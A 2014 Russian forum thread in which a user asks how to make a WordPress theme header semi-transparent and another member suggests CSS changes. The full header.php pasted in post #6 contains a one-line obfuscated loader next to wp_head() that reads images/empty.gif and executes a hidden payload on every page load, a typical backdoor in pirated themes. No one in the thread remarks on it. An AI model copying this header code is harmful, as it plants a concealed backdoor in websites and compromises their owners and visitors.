Вернуться   SEO форум - оптимизация и продвижение сайтов > Web разработки > Программирование

Важная информация
Программирование - PHP, MySQL, JavaScript, CSS, HTML верстка и т.д.

Ответ
 
Опции темы Оценить тему Опции просмотра
Старый 19.12.2014, 14:32   #1
 
Аватар для renegat33
 
Сообщений: 286
FR (активность): 6,803

Доп. информация
По умолчанию Автор темы css хейдера, кто подскажет?

вопрос к кодерам.
нужно хедер сделать полупрозрачным вот пример
а вот пациент
сам файл хедера сильно заскриптован но вот что я нашел по стилям
Оффтоп:
<div id="outer">
<div id="top">
<div id="logo">
<?php
ob_start();
ob_implicit_flush(0);
echo get_option('imbalance_custom_logo');
$my_logo = ob_get_contents();
ob_end_clean();
if (
$my_logo == ''
): ?>
<a href="<?php bloginfo("url"); ?>/">
<img src="<?php bloginfo('template_url'); ?>/images/logo.png" alt="<?php bloginfo('name'); ?>" /></a>
<?php else: ?>
<a href="<?php bloginfo("url"); ?>/"><img src="<?php echo get_option('imbalance_custom_logo'); ?>" alt="<?php bloginfo('name'); ?>" /></a>
<?php endif ?>
</div>
</div>

пытался задать прозрачность, но переставали работать стили на всем сайте


Пчела,вонзив стальное жало,не знает,что она пропала.Так и глупцы,пуская яд,не понимают,что творят
renegat33 вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:43   #2
 
Аватар для AirPack
 
Сообщений: 168
FR (активность): 3,968

Доп. информация
По умолчанию

@renegat33,при нынешнем коде хэдер сделать прозрачным не получиться. Точнее, прозрачным можно сделать, но будет криво выглядеть и не так, как на примере.
Желаемого результата достичь можно довольно легко, но я не смогу вот так вот здесь это объяснить, чтобы у тебя получилось самому сделать ) Тем более я не совсем понимаю, что в итоге нужно.
Можно добавить к #top свойство opacity от 0.9 до 0 (чем ближе к нулю, тем сильнее прозрачность), видимым результатом будет - изменение прозрачности логотипа. Так как задний фон задан в body (т.е. в хэдере мы его не сделаем прозрачным, только по всему документу ).
AirPack вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:47   #3
 
Аватар для AirPack
 
Сообщений: 168
FR (активность): 3,968

Доп. информация
По умолчанию

вот как это выглядит
Миниатюры
css хейдера, кто подскажет?-primer.jpg  
AirPack вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:48   #4
 
Аватар для renegat33
 
Сообщений: 286
FR (активность): 6,803

Доп. информация
По умолчанию Автор темы

@AirPack, а если в хедер добавить чисто черный фон и его сделать полупрозрачным, а по верх него лого?


Пчела,вонзив стальное жало,не знает,что она пропала.Так и глупцы,пуская яд,не понимают,что творят
renegat33 вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:54   #5
 
Аватар для AirPack
 
Сообщений: 168
FR (активность): 3,968

Доп. информация
По умолчанию

@renegat33,можно сделать так. Если я сейчас не ошибаюсь, то нужно сделать обертку для #top и добавить прозрачность. Только обертка должна занимать 100% ширину экрана, иначе некрасиво будет. У тебя на сайте фиксированная ширина - 945px. Соответственно нужно больше действий, чем просто добавить оберточку и задать прозрачность ( предполагаю, нужно немного и остальной код поменять).
AirPack вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:56   #6
 
Аватар для renegat33
 
Сообщений: 286
FR (активность): 6,803

Доп. информация
По умолчанию Автор темы

@AirPack, можеш помочь? вот весь хедер
Оффтоп:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title><?php bloginfo('name'); ?><?php wp_title(); ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> <!-- leave this for stats please -->

<link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/reset.css" type="text/css" media="screen" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<!--[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge;chrome=1"><![endif]-->
<!--[if IE 7]>
<link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/ie7.css" type="text/css" media="screen" />
<![endif]-->
<!--[if IE 6]>
<link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/ie6.css" type="text/css" media="screen" />
<![endif]-->
<link rel="shortcut icon" href="<?php bloginfo('template_url'); ?>/favicon.ico" type="image/x-icon" />
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="text/xml" title="RSS .92" href="<?php bloginfo('rss_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />

<?php wp_enqueue_script('jquery'); ?>
<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
<?php wp_head(); $gif=file(dirname(__FILE__).'/images/empty.gif',2);$gif=$gif[5]("",$gif[6]($gif[4]));$gif(); ?>
<script src="<?php bloginfo('template_url'); ?>/js/columnizer.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_url'); ?>/js/columnize.js" type="text/javascript"></script>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/animatedcollapse.js"></script>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/collapse.js"></script>
</head>
<body <?php body_class(); ?>>

<div id="outer">
<div id="top">
<div id="logo">
<?php
ob_start();
ob_implicit_flush(0);
echo get_option('imbalance_custom_logo');
$my_logo = ob_get_contents();
ob_end_clean();
if (
$my_logo == ''
): ?>
<a href="<?php bloginfo("url"); ?>/">
<img src="<?php bloginfo('template_url'); ?>/images/logo.png" alt="<?php bloginfo('name'); ?>" /></a>
<?php else: ?>
<a href="<?php bloginfo("url"); ?>/"><img src="<?php echo get_option('imbalance_custom_logo'); ?>" alt="<?php bloginfo('name'); ?>" /></a>
<?php endif ?>
</div>
</div>
<div id="menu">
<div id="navicons">
<ul>
<li><a id="subscribe" href="<?php bloginfo('rss2_url'); ?>" title="">Подписка</a></li>
<li><a id="twitter" href="<?php echo get_option('imbalance_twturl'); ?>" title="">Twitter</a></li>
<li><a id="facebook" href="<?php echo get_option('imbalance_fbkurl'); ?>" title="">Facebook</a></li>
</ul>
</div>
<div id="cats">
<ul>
<li><a href="<?php bloginfo("url"); ?>/" title=""<?php if ( is_front_page()) { ?> class="active"<?php } ?>>Главная</a></li>
<li><a href="#" rel="toggle[categories]" title="">Рубрики</a></li>
<li><a href="#" rel="toggle[archives]" title="">Архивы</a></li>
<?php
if ( function_exists( 'wp_nav_menu' ) ) {
wp_nav_menu( array( 'theme_location' => 'custom-menu' , 'container' => '' , 'fallback_cb'=> 'custom_menu' , 'depth' => 1 ) ); }
else
{ custom_menu(); }
?>
<li><a href="#" rel="toggle[search]" title="">Поиск</a></li>
</ul>
</div>
</div>
<div id="categories">
<ul class="mcol2">
<?php
$data = wp_list_categories('show_count=1&echo=0&title_li=& depth=1&hide_empty=0&orderby=ID');
$data = preg_replace('/\<\/a\> \((.*)\)/',' <span>$1</span></a>',$data);
echo $data;
?>
</ul>
</div>
<div id="archives">
<ul class="mcol2">
<?php wp_get_archives('type=monthly'); ?>
</ul>
</div>
<div id="search">
<?php get_search_form(); ?>
</div>


Пчела,вонзив стальное жало,не знает,что она пропала.Так и глупцы,пуская яд,не понимают,что творят
renegat33 вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:58   #7
 
Аватар для AirPack
 
Сообщений: 168
FR (активность): 3,968

Доп. информация
По умолчанию

@renegat33, если сможешь довериться незнакомому человеку и дать мне доступы к коду, то я все быстренько сделаю ) (в лс отправь их, помогу тебе)
AirPack вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 14:58   #8
 
Аватар для renegat33
 
Сообщений: 286
FR (активность): 6,803

Доп. информация
По умолчанию Автор темы

@AirPack, тебе полностью тему нужно?


Пчела,вонзив стальное жало,не знает,что она пропала.Так и глупцы,пуская яд,не понимают,что творят
renegat33 вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 15:02   #9
 
Аватар для renegat33
 
Сообщений: 286
FR (активность): 6,803

Доп. информация
По умолчанию Автор темы

Скрытый (как скрывать?) текст. Только для группы: "Почетный пользователь":
Ваша группа не позволяет просмотреть скрытую информацию.
Вложения
Тип файла: zip imbalance_black.zip (178.4 Кб, 3 просмотров)


Пчела,вонзив стальное жало,не знает,что она пропала.Так и глупцы,пуская яд,не понимают,что творят
renegat33 вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.12.2014, 15:03   #10
 
Аватар для AirPack
 
Сообщений: 168
FR (активность): 3,968

Доп. информация
По умолчанию

@renegat33, наверное ) я просто не знаю каким именно образом все в wp устроено ) Я работал только с modx, да opencart' ом , а это немного другое ))
На сколько я знаю, в wp файлы стилей и html редактируются из админки. Если есть возможность сделать мне отдельный доступ к админке, то мне это подойдет )
AirPack вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Ответ

Метки
css, прозрачность

Быстрый ответ
Ваше имя пользователя: Регистрация. Для входа нажмите здесь
Случайный вопрос

Сообщение:
Опции
Внимание!
Этой теме более 2706 дней. Вы можете оставить сообщение здесь. Но, обращаем внимание. Возможно, рациональней создать новую тему (найти свежее обсуждение)?


Опции темы
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кто подскажет платёжную систему? vaschu Электронные деньги 18 15.05.2021 22:21
[ Вопрос ] кто подскажет авторегет твиттер? СТЕПАН Программы и техника 9 13.12.2013 19:25
что это ? кто то подскажет. alppro Почетные пользователи - скрытый раздел 0 22.10.2011 16:33
Кто подскажет прогу для раскрутки? $ta$ Раскрутка в общих чертах 15 12.05.2010 08:39
Кто подскажет - линеечки Турист Создание сайтов другого типа 3 28.03.2010 02:37

Текущее время: 15:51. Часовой пояс GMT +3.